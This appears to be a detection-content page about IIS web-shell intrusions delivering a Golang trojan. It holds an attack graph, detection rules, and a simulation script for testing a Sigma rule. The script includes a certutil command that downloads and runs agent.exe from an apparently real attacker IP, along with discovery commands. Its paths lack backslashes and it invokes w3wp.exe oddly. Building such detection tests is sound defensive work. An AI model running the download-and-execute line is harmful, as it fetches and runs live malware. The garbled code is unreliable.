Trial, Error, and Typos: Why Some Malware Attacks Aren’t as ‘Sophisticated’ as You Think
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The article describes three separate incidents where a threat actor leveraged compromised IIS web servers to download and execute a Golang‑based Trojan (agent.exe) on victim endpoints. The attackers repeatedly attempted execution, used certutil to fetch payloads, and later added Windows Defender exclusions before trying to establish persistence via a Windows service. detection was achieved through EDR and Sysmon logs, which captured command lines, process trees, and network activity. The attacks illustrate how adversaries adapt to defensive roadblocks rather than following a flawless playbook.
Investigation
Huntress analysts examined Windows Event Logs, Sysmon events, and IIS web server logs to reconstruct the attack chain. They identified initial web‑shell execution via w3wp.exe, observed malformed commands, repeated payload delivery attempts, and the creation of a service named WindowsUpdate that failed to start. Multiple indicators such as file paths, command lines, and network connections were collected and correlated across the three incidents.
Mitigation
Key mitigations include hardening IIS servers, restricting web‑shell execution, enforcing strict application allow‑lists, monitoring for abnormal use of LOLBins such as certutil and PowerShell, and ensuring Windows Defender exclusions are not arbitrarily created. Rapid isolation of compromised hosts and removal of dropped tools like GotoHTTP are also recommended.
Response
Upon detection, responders should isolate the affected endpoint, collect full process‑tree and network logs, delete any malicious binaries, revert unauthorized Windows Defender exclusions, and verify service creation failures. Conduct a thorough web‑server review for compromised pages and rotate all compromised credentials.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access["<b>Action</b> – <b>T1505.004 Server Software Component: IIS Components</b><br/>Exploited public IIS web server, deployed web shell via w3wp.exe"] web_shell["<b>Malware</b> – <b>Name</b>: Web Shell<br/><b>File</b>: login.aspx"] process_w3wp["<b>Process</b> – <b>Name</b>: w3wp.exe<br/><b>Purpose</b>: Host web application"] execution["<b>Action</b> – <b>T1059.003 Windows Command Shell</b><br/>Executed commands like whoami, netstat, ipconfig"] powershell_exec["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Technique</b>: T1059.001"] discovery["<b>Action</b> – <b>Discovery Techniques</b>"] account_discovery["<b>Technique</b> – <b>T1087.001 Local Account</b><br/>Enumerated local user accounts"] group_discovery["<b>Technique</b> – <b>T1069.001 Local Groups</b><br/>Enumerated local group memberships"] network_conn_disc["<b>Technique</b> – <b>T1049 Network Service Scanning</b><br/>Identified active network connections"] internet_conn_disc["<b>Technique</b> – <b>T1016.001 Internet Connection Discovery</b><br/>Checked external connectivity"] defense_evasion["<b>Action</b> – <b>Defense Evasion Techniques</b>"] certutil["<b>Tool</b> – <b>Name</b>: certutil.exe<br/><b>Technique</b>: T1218 System Binary Proxy Execution"] hide_files["<b>Technique</b> – <b>T1564.001 Hide Artifacts: Hidden Files and Directories</b><br/>Set hidden and system attributes"] defender_exclusion["<b>Technique</b> – <b>T1562 Impair Defenses</b> and <b>T1564.012 File Path Exclusions</b><br/>Added Windows Defender exclusions via PowerShell"] lateral_transfer["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/>Copied malicious binaries from external server"] malicious_binaries["<b>Malware</b> – <b>Files</b>: agent.exe, 815.exe, dllhost.exe"] persistence["<b>Action</b> – <b>T1546.010 Event Triggered Execution: Windows Service</b><br/>Created service 'WindowsUpdate' pointing to dllhost.exe"] service_creation["<b>Process</b> – <b>Name</b>: Windows Service 'WindowsUpdate'"] final_execution["<b>Action</b> – <b>Final Execution</b><br/>Service started, attacker maintains control"] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access –>|uses| web_shell web_shell –>|runs in| process_w3wp process_w3wp –>|enables| execution execution –>|uses| powershell_exec execution –>|leads to| discovery discovery –>|includes| account_discovery discovery –>|includes| group_discovery discovery –>|includes| network_conn_disc discovery –>|includes| internet_conn_disc discovery –>|leads to| defense_evasion defense_evasion –>|uses| certutil defense_evasion –>|applies| hide_files defense_evasion –>|applies| defender_exclusion defense_evasion –>|leads to| lateral_transfer lateral_transfer –>|transfers| malicious_binaries malicious_binaries –>|enables| persistence persistence –>|creates| service_creation service_creation –>|triggers| final_execution "
Attack Flow
Detections
Attrib Execution to Hide Files (via cmdline)
View
Suspicious Executable Containing Only Numbers In Name (via cmdline)
View
Windows Defender Preferences Suspicious Changes (via powershell)
View
Using Certutil for Data Encoding and Cert Operations (via cmdline)
View
Suspicious Files in Public User Profile (via file_event)
View
Suspicious Execution from Public User Profile (via process_creation)
View
IOCs (SourceIP) to detect: Trial, Error, and Typos: Why Some Malware Attacks Aren’t as ‘Sophisticated’ as You Think
View
IOCs (HashSha256) to detect: Trial, Error, and Typos: Why Some Malware Attacks Aren’t as ‘Sophisticated’ as You Think
View
IOCs (DestinationIP) to detect: Trial, Error, and Typos: Why Some Malware Attacks Aren’t as ‘Sophisticated’ as You Think
View
Detection of Malicious POST Requests on Web Server [Webserver]
View
Detect Command Line Execution from Web Server Process [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker who has already gained code execution on a compromised IIS server leverages thew3wp.exeprocess (the IIS worker) to run a series of signed‑binary proxies. First, they enumerate the system and network state (whoami.exe,netstat -an,ipconfig /all). Then, they usecertutil.exeto download a malicious payload (agent.exe) from a remote C2 server and immediately execute it in the public user directory. All commands are issued viacmd.exe /claunched under the context ofw3wp.exe, ensuring the process creation event matches the rule’s conditions.# 1. Enumerate system/user information Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Download malicious payload via certutil and execute it $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Regression Test Script: The script below automates the entire attack chain, reproducing the exact telemetry that should fire the Sigma rule.
<# .SYNOPSIS Simulates adversary activity that triggers the "Detect Command Line Execution from Web Server Process" Sigma rule. .DESCRIPTION Executes a series of discovery and download‑and‑execute commands from the IIS worker process (w3wp.exe). Run on a Windows host where process creation auditing (Event ID 4688) is enabled. #> # Function to invoke a command via w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invoking via w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Discovery commands (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Malicious download‑and‑execute (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Cleanup Commands: Remove the downloaded payload and terminate any stray processes.
# Delete the malicious agent binary Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Optionally stop the agent if still running Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force